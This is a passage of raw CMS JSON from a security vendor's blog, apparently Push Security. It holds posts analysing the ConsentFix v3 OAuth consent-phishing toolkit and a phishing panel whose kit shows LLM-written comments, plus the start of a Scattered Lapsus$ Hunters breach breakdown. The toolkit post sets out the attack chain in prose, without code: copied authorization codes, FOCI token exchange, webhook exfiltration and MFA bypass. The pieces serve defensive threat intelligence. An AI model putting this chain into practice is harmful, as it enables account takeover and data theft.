controls.",{"url":52301,"width":1402,"height":52302},"https://images.ctfassets.net/y1cdw1ablpvd/2A56uZUHEDmm8RbeW9IpjE/491e686b77dd60a676d0eebb3ca101c6/image2.png",1059,{"sys":52304,"__typename":5503,"content":52305,"name":52316,"title":59},{"id":43515},{"json":52306},{"data":52307,"content":52308,"nodeType":1382},{},[52309],{"data":52310,"content":52311,"nodeType":866},{},[52312],{"data":52313,"marks":52314,"value":52315,"nodeType":865},{},[],"The result is that the victim's browser sends two pairs of duplicate requests every few seconds (with the inline script transmitting heartbeats in JSON format rather than HTML form-encoded data). This level of broken duplication indicates an inexperienced developer making modifications to unfamiliar code — a pattern reinforced by the LLM-generated artifacts discussed later. ","Phishing Panel Blog IB4",{"sys":52318,"__typename":1390,"title":52319,"caption":52319,"layoutMode":59,"file":52320},{"id":43598},"Revamped admin panel specifically targeting M365.",{"url":52321,"width":1402,"height":52322},"https://images.ctfassets.net/y1cdw1ablpvd/6ltgUv6FOGaMkdYNW06uBC/6449e82609fda96af123dfbd09c2f8c0/image8.png",940,{"sys":52324,"__typename":1390,"title":52325,"caption":52325,"layoutMode":59,"file":52326},{"id":43618},"Instructions for joining the attacker’s Teams meeting.",{"url":52327,"width":52328,"height":52329},"https://images.ctfassets.net/y1cdw1ablpvd/7G6GLi6twkTrDOGFHU9RNt/a1aa2a7a324ba3eda2f38d21af0e4a85/image3.png",1390,1316,{"sys":52331,"__typename":1390,"title":52332,"caption":52332,"layoutMode":59,"file":52333},{"id":43671},"Device and country restriction options.",{"url":52334,"width":52335,"height":52336},"https://images.ctfassets.net/y1cdw1ablpvd/2nxMJQlSeyBwuFgZIsjeRF/78df4d0e8c75a8171937294c1684b3df/image6.png",1064,1192,{"sys":52338,"__typename":1390,"title":52339,"caption":52339,"layoutMode":59,"file":52340},{"id":7412},"Verbose phishing kit comments (a clear sign of AI involvement).",{"url":52341,"width":52342,"height":52343},"https://images.ctfassets.net/y1cdw1ablpvd/2XOX0xzOxsmBKUuQbup47x/a624c2141879f9238704167a35fdeb39/Screenshot_2026-05-07_at_12.53.27.png",1100,1332,{"sys":52345,"__typename":1390,"title":52346,"caption":52346,"layoutMode":59,"file":52347},{"id":43728},"More verbose phishing kit comments.",{"url":52348,"width":52349,"height":52350},"https://images.ctfassets.net/y1cdw1ablpvd/2VIaWB9ExM6nmURNtoP7f4/bc72afef6d151c7e9d5be71f0c74a651/Screenshot_2026-05-07_at_12.53.08.png",1184,1036,{"sys":52352,"__typename":1390,"title":52353,"caption":52353,"layoutMode":59,"file":52354},{"id":43741},"Evidence of LLM use in cloning the Okta login pages.",{"url":52355,"width":52356,"height":52357},"https://images.ctfassets.net/y1cdw1ablpvd/5UL0neYANY9ECegc0JsDzL/45a4576d016d9fa806598cabaf493a0f/Screenshot_2026-05-07_at_12.53.49.png",1164,586,{"sys":52359,"__typename":1390,"title":52360,"caption":52360,"layoutMode":59,"file":52361},{"id":43754},"LLM comments not typically included by a human author.",{"url":52362,"width":52363,"height":52364},"https://images.ctfassets.net/y1cdw1ablpvd/6yXfx49paHKklV1iLfGiBP/6eb461b66533a9ef25eb671370c8f316/Screenshot_2026-05-07_at_12.54.09.png",942,430,{"items":52366},[],{},"Inside a phishing panel used by ShinyHunters and BlackFile",{"items":52370},[52371,52946,53905],{"__typename":1429,"sys":52372,"content":52374,"title":52933,"synopsis":52934,"hashTags":59,"publishedDate":41040,"slug":52935,"tagsCollection":52936,"authorsCollection":52942},{"id":52373},"27Z1JlNtpGTPyarh393sHK",{"json":52375},{"data":52376,"content":52377,"nodeType":1382},{},[52378,52396,52403,52409,52416,52422,52441,52447,52453,52456,52464,52484,52490,52496,52502,52519,52526,52534,52541,52548,52555,52558,52566,52584,52607,52612,52617,52624,52631,52638,52641,52649,52667,52700,52707,52713,52716,52724,52731,52734,52741,52748,52756,52775,52795,52802,52808,52816,52823,52830,52833,52840,52847,52853,52870,52876,52883,52890,52897],{"data":52379,"content":52380,"nodeType":866},{},[52381,52385,52392],{"data":52382,"marks":52383,"value":52384,"nodeType":865},{},[],"In December 2025, we uncovered a state-sponsored campaign linked to Russian state-affiliated APT29 that used a new technique we called ",{"data":52386,"content":52387,"nodeType":889},{"uri":7472},[52388],{"data":52389,"marks":52390,"value":7465,"nodeType":865},{},[52391],{"type":943},{"data":52393,"marks":52394,"value":52395,"nodeType":865},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. Effectively, ConsentFix is a browser-native attack that results in account takeover, without the downside of needing to touch the endpoint like typical ClickFix (really, the point that it's most likely to be detected and blocked). ",{"data":52397,"content":52398,"nodeType":866},{},[52399],{"data":52400,"marks":52401,"value":52402,"nodeType":865},{},[],"The quick 101 is that victims are tricked into copy-and-pasting a legitimate Microsoft URL into the phishing page. This URL contains an OAuth authorization code that the attacker uses to sign in to a first-party Microsoft application like Azure CLI — specifically targeting apps with known Conditional Access exclusions. ",{"data":52404,"content":52408,"nodeType":912},{"target":52405},{"sys":52406},{"id":52407,"type":909,"linkType":910},"7s4kF5CUFUmdkhpzuwNalX",[],{"data":52410,"content":52411,"nodeType":866},{},[52412],{"data":52413,"marks":52414,"value":52415,"nodeType":865},{},[],"At the end of the attack chain, the attacker is effectively granted API access to the victim's Entra account, while sidestepping MFA (even passkeys), device compliance checks, and in some cases conditional access controls (depending on the application ID targeted by the attacker). ",{"data":52417,"content":52421,"nodeType":912},{"target":52418},{"sys":52419},{"id":52420,"type":909,"linkType":910},"IMtJXMWeaIbRsWxuQ1CaS",[],{"data":52423,"content":52424,"nodeType":866},{},[52425,52429,52437],{"data":52426,"marks":52427,"value":52428,"nodeType":865},{},[],"It didn’t take long for security researchers to jump on this new technique. Lots of contributors rallied round the security recommendations (which we covered in a ",{"data":52430,"content":52431,"nodeType":889},{"uri":12820},[52432],{"data":52433,"marks":52434,"value":52436,"nodeType":865},{},[52435],{"type":943},"follow-up blog post",{"data":52438,"marks":52439,"value":52440,"nodeType":865},{},[],") but the most notable contribution came from John Hammond, who took the attacker’s implementation and said “I can do better”. His v2 replaced a somewhat clunky implementation with a slick drag-and-drop function. But now, attackers have taken it one step further.",{"data":52442,"content":52446,"nodeType":912},{"target":52443},{"sys":52444},{"id":52445,"type":909,"linkType":910},"59tfJDRhGThKD48Wjg7uY2",[],{"data":52448,"content":52452,"nodeType":912},{"target":52449},{"sys":52450},{"id":52451,"type":909,"linkType":910},"6mEpyVD6f13ZttFmaBcxNm",[],{"data":52454,"content":52455,"nodeType":972},{},[],{"data":52457,"content":52458,"nodeType":981},{},[52459],{"data":52460,"marks":52461,"value":52463,"nodeType":865},{},[52462],{"type":926},"Introducing: ConsentFix v3",{"data":52465,"content":52466,"nodeType":866},{},[52467,52471,52480],{"data":52468,"marks":52469,"value":52470,"nodeType":865},{},[],"The latest development is that a member of the XSS criminal forum, a site strongly suspected to have ",{"data":52472,"content":52474,"nodeType":889},{"uri":52473},"https://flare.io/learn/resources/blog/state-of-the-dark-web-2026",[52475],{"data":52476,"marks":52477,"value":52479,"nodeType":865},{},[52478],{"type":943},"Russian state involvement",{"data":52481,"marks":52482,"value":52483,"nodeType":865},{},[],", has released a new tool “ConsentFix v3”, building on the v1 we saw in the wild, and John’s v2. ",{"data":52485,"content":52489,"nodeType":912},{"target":52486},{"sys":52487},{"id":52488,"type":909,"linkType":910},"4AW0UnBlIaXbIFZjy8ObY1",[],{"data":52491,"content":52495,"nodeType":912},{"target":52492},{"sys":52493},{"id":52494,"type":909,"linkType":910},"1b36XjqBpPx7wteBu6OA6h",[],{"data":52497,"content":52501,"nodeType":912},{"target":52498},{"sys":52499},{"id":52500,"type":909,"linkType":910},"4kbiWA3b096BAFGQuozPaK",[],{"data":52503,"content":52504,"nodeType":866},{},[52505,52509,52515],{"data":52506,"marks":52507,"value":52508,"nodeType":865},{},[],"It looks like broader cybercriminals are starting to take note of ConsentFix, and with the release of public tools like this one, it could be about to go mainstream — like ",{"data":52510,"content":52511,"nodeType":889},{"uri":1951},[52512],{"data":52513,"marks":52514,"value":8061,"nodeType":865},{},[],{"data":52516,"marks":52517,"value":52518,"nodeType":865},{},[]," has this year. ",{"data":52520,"content":52521,"nodeType":866},{},[52522],{"data":52523,"marks":52524,"value":52525,"nodeType":865},{},[],"Let’s take a closer look at some of the more interesting details of the ConsentFix v3 implementation before considering the bigger picture.  ",{"data":52527,"content":52528,"nodeType":1317},{},[52529],{"data":52530,"marks":52531,"value":52533,"nodeType":865},{},[52532],{"type":926},"ConsentFix v3 under the hood",{"data":52535,"content":52536,"nodeType":866},{},[52537],{"data":52538,"marks":52539,"value":52540,"nodeType":865},{},[],"The first thing that jumps out is just how detailed this forum post is. It reads like a security vendor blog post. It walks through the key technical concepts that the reader needs to know, breaking down OAuth grants, consent phishing, refresh tokens, and FOCI (or 'Family of Client IDs' — basically, the feature that allows attackers to use a refresh token obtained for one Microsoft app to be exchanged for access tokens to other FOCI apps without re-authentication). It then walks through the history of ClickFix and ConsentFix before providing step-by-step guidance for users. ",{"data":52542,"content":52543,"nodeType":866},{},[52544],{"data":52545,"marks":52546,"value":52547,"nodeType":865},{},[],"ConsentFix v3 allows users to instrument the entire attack chain, enabling users to spin up ConsentFix infrastructure, create believable personas with which to interact with victims, craft and manage email campaigns, and automate the process of exchanging the captured OAuth token for session and refresh tokens to establish access to the compromised account. ",{"data":52549,"content":52550,"nodeType":866},{},[52551],{"data":52552,"marks":52553,"value":52554,"nodeType":865},{},[],"A combination of SaaS and open-source tools are used to perform the attack, including Cloudflare Workers for hosting, ZoomInfo for target identification, Dropbox for PDF hosting, and Pipedream as an exfiltration channel (effectively creating a webhook to automatically exchange the OAuth material in the URL for a refresh token). They also use hacker tools like SpecterPortal for post exploitation activity.",{"data":52556,"content":52557,"nodeType":972},{},[],{"data":52559,"content":52560,"nodeType":981},{},[52561],{"data":52562,"marks":52563,"value":52565,"nodeType":865},{},[52564],{"type":926},"Why attackers are turning to OAuth-based attacks",{"data":52567,"content":52568,"nodeType":866},{},[52569,52573,52580],{"data":52570,"marks":52571,"value":52572,"nodeType":865},{},[],"Attackers are increasingly turning to OAuth based techniques in 2026. Not only are “legit” OAuth connections being abused in supply chain attacks, but attacks targeting OAuth mechanisms have significantly increased with the rise of ",{"data":52574,"content":52575,"nodeType":889},{"uri":1951},[52576],{"data":52577,"marks":52578,"value":8061,"nodeType":865},{},[52579],{"type":943},{"data":52581,"marks":52582,"value":52583,"nodeType":865},{},[],". This is because:",{"data":52585,"content":52586,"nodeType":1616},{},[52587,52597],{"data":52588,"content":52589,"nodeType":1570},{},[52590],{"data":52591,"content":52592,"nodeType":866},{},[52593],{"data":52594,"marks":52595,"value":52596,"nodeType":865},{},[],"OAuth attacks defeat standard access controls (including passkeys)",{"data":52598,"content":52599,"nodeType":1570},{},[52600],{"data":52601,"content":52602,"nodeType":866},{},[52603],{"data":52604,"marks":52605,"value":52606,"nodeType":865},{},[],"It’s very low friction, and less likely that users will identify it as phishing (see examples below)",{"data":52608,"content":52611,"nodeType":912},{"target":52609},{"sys":52610},{"id":52445,"type":909,"linkType":910},[],{"data":52613,"content":52616,"nodeType":912},{"target":52614},{"sys":52615},{"id":12892,"type":909,"linkType":910},[],{"data":52618,"content":52619,"nodeType":866},{},[52620],{"data":52621,"marks":52622,"value":52623,"nodeType":865},{},[],"From the user’s perspective, these aren’t situations that users are trained to treat as suspicious. In one case, the victim copies a URL (or simply drag-and-drops a box on the page). In another, they enter a short passcode that’s visible on the page. ",{"data":52625,"content":52626,"nodeType":866},{},[52627],{"data":52628,"marks":52629,"value":52630,"nodeType":865},{},[],"Both are using pop-up windows that look very convincing — and point to legitimate Microsoft pages/URLs. Even users scrutinizing the domain won’t see anything out of place. And as you can see, if the user is already signed into their Microsoft account in the browser, there’s no credential entry or MFA checks to pass through. Simply select your account from the drop down menu and … that’s it.",{"data":52632,"content":52633,"nodeType":866},{},[52634],{"data":52635,"marks":52636,"value":52637,"nodeType":865},{},[],"This unfamiliarity is the same reason that attacks like ClickFix have been so successful. In general, convincing social engineering — well crafted comms, legit-looking pages hosted on trusted sites — combined with unfamiliar payloads makes for a clever attack. And when these attacks play out entirely in the browser (circumventing endpoint controls) and sidestep identity controls, the impact is dialled up even further. ",{"data":52639,"content":52640,"nodeType":972},{},[],{"data":52642,"content":52643,"nodeType":981},{},[52644],{"data":52645,"marks":52646,"value":52648,"nodeType":865},{},[52647],{"type":926},"How ConsentFix and device code phishing overlap",{"data":52650,"content":52651,"nodeType":866},{},[52652,52656,52663],{"data":52653,"marks":52654,"value":52655,"nodeType":865},{},[],"It was only ever going to be a matter of time before ConsentFix was adopted by the mass market. But these things don’t always happen particularly fast. ",{"data":52657,"content":52658,"nodeType":889},{"uri":1951},[52659],{"data":52660,"marks":52661,"value":360,"nodeType":865},{},[52662],{"type":943},{"data":52664,"marks":52665,"value":52666,"nodeType":865},{},[]," is probably the best example of this — it’s been a known technique since 2021, but it took until this year to enter mainstream adoption. A big part of that has been the availability of criminal toolkits, and also the rise in AI-assisted capabilities for tool creation (clearly at play here too). The similarity with device code phishing doesn’t end there. ",{"data":52668,"content":52669,"nodeType":866},{},[52670,52674,52683,52687,52696],{"data":52671,"marks":52672,"value":52673,"nodeType":865},{},[],"Both ConsentFix and device code phishing are OAuth attacks. They both find ways of bypassing the standard login procedure (and controls) by targeting different authorization flows, but with a similar outcome and the same advantages to an attacker. Device code phishing exploits the device authorization grant (",{"data":52675,"content":52677,"nodeType":889},{"uri":52676},"https://datatracker.ietf.org/doc/html/rfc8628",[52678],{"data":52679,"marks":52680,"value":52682,"nodeType":865},{},[52681],{"type":943},"RFC 8628",{"data":52684,"marks":52685,"value":52686,"nodeType":865},{},[],"). ConsentFix exploits the authorization code grant (",{"data":52688,"content":52690,"nodeType":889},{"uri":52689},"https://datatracker.ietf.org/doc/html/rfc6749#section-4.1",[52691],{"data":52692,"marks":52693,"value":52695,"nodeType":865},{},[52694],{"type":943},"RFC 6749",{"data":52697,"marks":52698,"value":52699,"nodeType":865},{},[],") as implemented for native/desktop apps with localhost redirects. ",{"data":52701,"content":52702,"nodeType":866},{},[52703],{"data":52704,"marks":52705,"value":52706,"nodeType":865},{},[],"The post-compromise paths are essentially identical because the tokens you get are determined by which app you target, what scopes it has, and the victim user’s permissions, not by which OAuth flow you used to obtain them. The authorization code flow and the device code flow are just different front doors into the same token issuance system.",{"data":52708,"content":52712,"nodeType":912},{"target":52709},{"sys":52710},{"id":52711,"type":909,"linkType":910},"7np3j139dWMP7sLlUQwEFC",[],{"data":52714,"content":52715,"nodeType":972},{},[],{"data":52717,"content":52718,"nodeType":981},{},[52719],{"data":52720,"marks":52721,"value":52723,"nodeType":865},{},[52722],{"type":926},"The verdict: An interesting sign of what’s coming, but maybe not the final form",{"data":52725,"content":52726,"nodeType":866},{},[52727],{"data":52728,"marks":52729,"value":52730,"nodeType":865},{},[],"It’s clear that ConsentFix v3 isn’t exactly an industrialized PhaaS-scale offering. It’s probably closer to a red team-esque proof of concept. But it is a good example of how attackers could operationalize ConsentFix campaigns using largely off-the-shelf tooling and legit SaaS tools. And an indicator of what might be coming soon. ",{"data":52732,"content":52733,"nodeType":972},{},[],{"data":52735,"content":52736,"nodeType":981},{},[52737],{"data":52738,"marks":52739,"value":11219,"nodeType":865},{},[52740],{"type":926},{"data":52742,"content":52743,"nodeType":866},{},[52744],{"data":52745,"marks":52746,"value":52747,"nodeType":865},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. We’ll talk about how we do this below, but first here’s some general recommendations. ",{"data":52749,"content":52750,"nodeType":1317},{},[52751],{"data":52752,"marks":52753,"value":52755,"nodeType":865},{},[52754],{"type":926},"Microsoft ecosystem",{"data":52757,"content":52758,"nodeType":866},{},[52759,52763,52771],{"data":52760,"marks":52761,"value":52762,"nodeType":865},{},[],"Despite the similarity with device code phishing, the ",{"data":52764,"content":52765,"nodeType":889},{"uri":11243},[52766],{"data":52767,"marks":52768,"value":52770,"nodeType":865},{},[52769],{"type":943},"primary recommendation from Microsoft for device code attacks",{"data":52772,"marks":52773,"value":52774,"nodeType":865},{},[]," — disable the device code flow via conditional access — doesn’t apply to ConsentFix (because, as mentioned, it uses a different login flow).",{"data":52776,"content":52777,"nodeType":866},{},[52778,52782,52791],{"data":52779,"marks":52780,"value":52781,"nodeType":865},{},[],"For both ConsentFix and device code phishing, the ",{"data":52783,"content":52785,"nodeType":889},{"uri":52784},"https://msendpointmgr.com/2026/01/08/consentfix-quickfix/",[52786],{"data":52787,"marks":52788,"value":52790,"nodeType":865},{},[52789],{"type":943},"strongest recommendation",{"data":52792,"marks":52793,"value":52794,"nodeType":865},{},[]," is to create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them to reduce the attack surface of users that can be phished with this method.",{"data":52796,"content":52797,"nodeType":866},{},[52798],{"data":52799,"marks":52800,"value":52801,"nodeType":865},{},[],"You should also hunt in logs for relevant application IDs and resource IDs, and look for mismatches in terms of the initial access IP and subsequent activity, because while the initial login is performed by the user, subsequent actions will be performed by the attacker.  ",{"data":52803,"content":52807,"nodeType":912},{"target":52804},{"sys":52805},{"id":52806,"type":909,"linkType":910},"49Y7NXpnAeAYe9fCp1oyKn",[],{"data":52809,"content":52810,"nodeType":1317},{},[52811],{"data":52812,"marks":52813,"value":52815,"nodeType":865},{},[52814],{"type":926},"Beyond Microsoft — Google, GitHub, Salesforce, AWS",{"data":52817,"content":52818,"nodeType":866},{},[52819],{"data":52820,"marks":52821,"value":52822,"nodeType":865},{},[],"It’s worth calling out that these recommendations are Microsoft specific. While in-the-wild exploitation has focused on Microsoft, GitHub, Salesforce, AWS and others are also impacted by device code phishing, supporting device code flow either as a primary or fallback mechanism (Google less so due to inherent restrictions on scopes authorized in the context of device code logins). ",{"data":52824,"content":52825,"nodeType":866},{},[52826],{"data":52827,"marks":52828,"value":52829,"nodeType":865},{},[],"Similarly, ConsentFix principles can be applied beyond Microsoft too. The core requirement is that an OAuth code ends up in a location the victim can manually see and share, e.g. a localhost redirect where no listener is present to complete the handshake. Google Cloud CLI, GitHub CLI, and others support the auth code grant and allow localhost as a redirect URI. ",{"data":52831,"content":52832,"nodeType":972},{},[],{"data":52834,"content":52835,"nodeType":981},{},[52836],{"data":52837,"marks":52838,"value":6331,"nodeType":865},{},[52839],{"type":926},{"data":52841,"content":52842,"nodeType":866},{},[52843],{"data":52844,"marks":52845,"value":52846,"nodeType":865},{},[],"We’re already detecting and blocking both ConsentFix and device code phishing attacks as they target users in their web browser. When a page matches our detections for a device code or ConsentFix phishing kit (not limited to things like known-bad IPs and domains, but DOM-level analysis of the web page) Push detects and blocks it. Unlike an SWG or RBI type solution, Push analyzes every web page in every browser session and tab, in real time, with no latency. ",{"data":52848,"content":52852,"nodeType":912},{"target":52849},{"sys":52850},{"id":52851,"type":909,"linkType":910},"63EwHbmFZVAlhoXl17Xjfi",[],{"data":52854,"content":52855,"nodeType":866},{},[52856,52859,52866],{"data":52857,"marks":52858,"value":11325,"nodeType":865},{},[],{"data":52860,"content":52861,"nodeType":889},{"uri":11328},[52862],{"data":52863,"marks":52864,"value":11334,"nodeType":865},{},[52865],{"type":943},{"data":52867,"marks":52868,"value":52869,"nodeType":865},{},[]," whenever a user accesses a URL used for device code logins, across any app that supports them. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":52871,"content":52875,"nodeType":912},{"target":52872},{"sys":52873},{"id":52874,"type":909,"linkType":910},"3baS2yqvJd2e4aczw73PTF",[],{"data":52877,"content":52878,"nodeType":866},{},[52879],{"data":52880,"marks":52881,"value":52882,"nodeType":865},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing these pages if you’re confident that disruption won’t be caused. ",{"data":52884,"content":52885,"nodeType":1317},{},[52886],{"data":52887,"marks":52888,"value":2270,"nodeType":865},{},[52889],{"type":926},{"data":52891,"content":52892,"nodeType":866},{},[52893],{"data":52894,"marks":52895,"value":52896,"nodeType":865},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, device code phishing, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, risky OAuth integrations, and more to harden your attack surface.",{"data":52898,"content":52899,"nodeType":866},{},[52900,52903,52910,52913,52920,52923,52930],{"data":52901,"marks":52902,"value":11372,"nodeType":865},{},[],{"data":52904,"content":52905,"nodeType":889},{"uri":11375},[52906],{"data":52907,"marks":52908,"value":11381,"nodeType":865},{},[52909],{"type":943},{"data":52911,"marks":52912,"value":2717,"nodeType":865},{},[],{"data":52914,"content":52915,"nodeType":889},{"uri":11387},[52916],{"data":52917,"marks":52918,"value":11393,"nodeType":865},{},[52919],{"type":943},{"data":52921,"marks":52922,"value":11397,"nodeType":865},{},[],{"data":52924,"content":52925,"nodeType":889},{"uri":1372},[52926],{"data":52927,"marks":52928,"value":11405,"nodeType":865},{},[52929],{"type":943},{"data":52931,"marks":52932,"value":1615,"nodeType":865},{},[],"ConsentFix v3: Analyzing a new criminal toolkit","Investigating a new criminal toolkit for ConsentFix being promoted on criminal forums. ","consentfix-v3-analyzing-a-new-toolkit",{"items":52937},[52938,52940],{"sys":52939,"name":7796},{"id":7795},{"sys":52941,"name":342},{"id":4642},{"items":52943},[52944],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":52945},{"url":7804},{"__typename":1429,"sys":52947,"content":52949,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":53895,"authorsCollection":53901},{"id":52948},"2sFCww9xnI8okIxhtOaiY1",{"json":52950},{"data":52951,"content":52952,"nodeType":1382},{},[52953,52960,52967,52974,52977,52985,52992,52999,53005,53012,53018,53037,53044,53056,53059,53067,53074,53090,53097,53109,53115,53118,53126,53134,53140,53149,53169,53178,53185,53194,53213,53222,53229,53238,53269,53278,53285,53294,53312,53318,53327,53334,53343,53384,53387,53395,53404,53424,53433,53440,53449,53482,53488,53497,53504,53510,53513,53520,53529,53536,53595,53601,53604,53611,53620,53627,53633,53636,53643,53650,53657,53725,53732,53795,53802,53805,53813,53820,53827,53833,53836,53843,53850,53857,53864],{"data":52954,"content":52955,"nodeType":866},{},[52956],{"data":52957,"marks":52958,"value":52959,"nodeType":865},{},[],"The biggest cybersecurity story this year (so far) has been the emergence of “Scattered Lapsus$ Hunters” and their record-breaking worldwide hacking spree. ",{"data":52961,"content":52962,"nodeType":866},{},[52963],{"data":52964,"marks":52965,"value":52966,"nodeType":865},{},[],"Scattered Lapsus$ Hunters is part of “The Com”, the name for the broad community of English-speaking cybercriminals with international criminal connections — including with nation-state sponsored groups. They are also known to collaborate with a range of cybercrime “as-a-Service” organizations for phishing, initial access, ransomware, and more. ",{"data":52968,"content":52969,"nodeType":866},{},[52970],{"data":52971,"marks":52972,"value":52973,"nodeType":865},{},[],"It’s difficult to pin down exactly who the individuals are that make up this criminal collective. But what is known is their MO — making money through extortion by means of account takeover, mass data theft, and ransomware deployment. ",{"data":52975,"content":52976,"nodeType":972},{},[],{"data":52978,"content":52979,"nodeType":981},{},[52980],{"data":52981,"marks":52982,"value":52984,"nodeType":865},{},[52983],{"type":926},"How did we get here? ",{"data":52986,"content":52987,"nodeType":866},{},[52988],{"data":52989,"marks":52990,"value":52991,"nodeType":865},{},[],"Earlier this year, the threat group known to most analysts as Scattered Spider (also tracked as 0ktapus, Octo Tempest, Scatter Swine, Muddled Libra, and UNC3944) re-emerged after a series of arrests in late 2024. ",{"data":52993,"content":52994,"nodeType":866},{},[52995],{"data":52996,"marks":52997,"value":52998,"nodeType":865},{},[],"This group has been active in peaks and troughs over the years, but are mainly known for high-profile ransomware attacks on Caesars and MGM Resorts in 2024. ",{"data":53000,"content":53004,"nodeType":912},{"target":53001},{"sys":53002},{"id":53003,"type":909,"linkType":910},"1Vt269d7n6IGMzOrJs1FDx",[],{"data":53006,"content":53007,"nodeType":866},{},[53008],{"data":53009,"marks":53010,"value":53011,"nodeType":865},{},[],"Scattered Spider hit the headlines again in April 2025 with attacks on UK retailers Marks & Spencer and Co-op, which resulted in significant, prolonged disruption, and a serious downstream impact on the retail supply chain. ",{"data":53013,"content":53017,"nodeType":912},{"target":53014},{"sys":53015},{"id":53016,"type":909,"linkType":910},"3kvcGV2zZZUPnM8IK04Y1O",[],{"data":53019,"content":53020,"nodeType":866},{},[53021,53025,53033],{"data":53022,"marks":53023,"value":53024,"nodeType":865},{},[],"It didn’t stop there, though. What followed was a wide-scale campaign targeting Salesforce customers, with the attackers claiming to have stolen ",{"data":53026,"content":53027,"nodeType":889},{"uri":15501},[53028],{"data":53029,"marks":53030,"value":53032,"nodeType":865},{},[53031],{"type":943},"over 1.5 billion records from 1000+ companies",{"data":53034,"marks":53035,"value":53036,"nodeType":865},{},[]," across multiple verticals, including heavyweights like Google, Cloudflare, Workday, Adidas, FedEx, Disney, LVMH, and many more.",{"data":53038,"content":53039,"nodeType":866},{},[53040],{"data":53041,"marks":53042,"value":53043,"nodeType":865},{},[],"Around this time, the attackers began to refer to themselves as part of a wider collective, assuming the moniker “Scattered Lapsus$ Hunters” (a mash-up of names given by analysts and self-adopted by attackers — Scattered Spider, ShinyHunters, and Lapsus$).",{"data":53045,"content":53046,"nodeType":866},{},[53047,53051],{"data":53048,"marks":53049,"value":53050,"nodeType":865},{},[],"The most significant breach this year to-date impacted Jaguar Land Rover. A ransomware attack resulted in months of disruption that directly impacted the UK’s GDP, with the government underwriting a $1.5B loan to alleviate the supply chain impact. ",{"data":53052,"marks":53053,"value":53055,"nodeType":865},{},[53054],{"type":926},"In fact, this was the most economically consequential cyber attack yet recorded in a G7 economy. ",{"data":53057,"content":53058,"nodeType":972},{},[],{"data":53060,"content":53061,"nodeType":981},{},[53062],{"data":53063,"marks":53064,"value":53066,"nodeType":865},{},[53065],{"type":926},"2025 wasn’t a one-off",{"data":53068,"content":53069,"nodeType":866},{},[53070],{"data":53071,"marks":53072,"value":53073,"nodeType":865},{},[],"The developments through 2025 have presented a stronger picture than ever before that cybercriminal operations are heavily interlinked. Groups overlap considerably, and individuals freely move between different cells. ",{"data":53075,"content":53076,"nodeType":866},{},[53077,53081,53086],{"data":53078,"marks":53079,"value":53080,"nodeType":865},{},[],"When we scratch beneath the surface, this is evident in the tactics, techniques and procedures (TTPs) used by these attackers — even stretching as far back as 2021 with the initial rise of Lapsus$. This is not an accident. ",{"data":53082,"marks":53083,"value":53085,"nodeType":865},{},[53084],{"type":926},"The TTPs used show a conscious move by attackers to move away from environments that are well-protected by traditional security tools. ",{"data":53087,"marks":53088,"value":53089,"nodeType":865},{},[],"This means avoiding targeting endpoints with malware, and not relying on software-based exploits. Instead, these attackers look to take over apps and services directly over the internet. ",{"data":53091,"content":53092,"nodeType":866},{},[53093],{"data":53094,"marks":53095,"value":53096,"nodeType":865},{},[],"Most of the time, this is as simple as logging in to a SaaS app, or an enterprise SSO account (e.g. Microsoft, Okta, or Google) and dumping the data. For attackers that want to take it further, they can abuse the sprawl of interconnected apps that make up modern business IT, seeking out specific data or exploitable functionality. Or, they can leverage internet-accessible management portals to chart a path back to your on-premise assets, giving them everything they need to pivot toward more conventional methods such as ransomware deployment. ",{"data":53098,"content":53099,"nodeType":866},{},[53100,53104],{"data":53101,"marks":53102,"value":53103,"nodeType":865},{},[],"When we look at historical breaches, the pattern is clear. ",{"data":53105,"marks":53106,"value":53108,"nodeType":865},{},[53107],{"type":926},"Not one of the attacks attributed to Scattered Lapsus$ Hunters, or its predecessors, started with an endpoint or network attack — they all began with account takeover. ",{"data":53110,"content":53114,"nodeType":912},{"target":53111},{"sys":53112},{"id":53113,"type":909,"linkType":910},"6poP5VM2ARrEvwKEG42HgK",[],{"data":53116,"content":53117,"nodeType":972},{},[],{"data":53119,"content":53120,"nodeType":981},{},[53121],{"data":53122,"marks":53123,"value":53125,"nodeType":865},{},[53124],{"type":926},"TTP breakdown: Analyzing the top “Scattered Lapsus$ Hunters” breaches since 2021",{"data":53127,"content":53128,"nodeType":1317},{},[53129],{"data":53130,"marks":53131,"value":53133,"nodeType":865},{},[53132],{"type":926},"Phishing and stolen credentials",{"data":53135,"content":53139,"nodeType":912},{"target":53136},{"sys":53137},{"id":53138,"type":909,"linkType":910},"4SNOanDIdGZsvRRnMYQVSo",[],{"data":53141,"content":53142,"nodeType":866},{},[53143],{"data":53144,"marks":53145,"value":53148,"nodeType":865},{},[53146,53147],{"type":926},{"type":943},"EA Games (2021)",{"data":53150,"content":53151,"nodeType":866},{},[53152,53156,53165],{"data":53153,"marks":53154,"value":53155,"nodeType":865},{},[],"Attackers used stolen session cookies to log into EA’s Slack instance, purchased on a criminal forum. Combined with ",{"data":53157,"content":53159,"nodeType":889},{"uri":53158},"https://pushsecurity.com/blog/phishing-slack-persistence/",[53160],{"data":53161,"marks":53162,"value":53164,"nodeType":865},{},[53163],{"type":943},"social engineering via Slack",{"data":53166,"marks":53167,"value":53168,"nodeType":865},{},[],", this was used to steal 750GB of data, including video game source code. ",{"data":53170,"content":53171,"nodeType":866},{},[53172],{"data":53173,"marks":53174,"value":53177,"nodeType":865},{},[53175,53176],{"type":926},{"type":943},"Nvidia 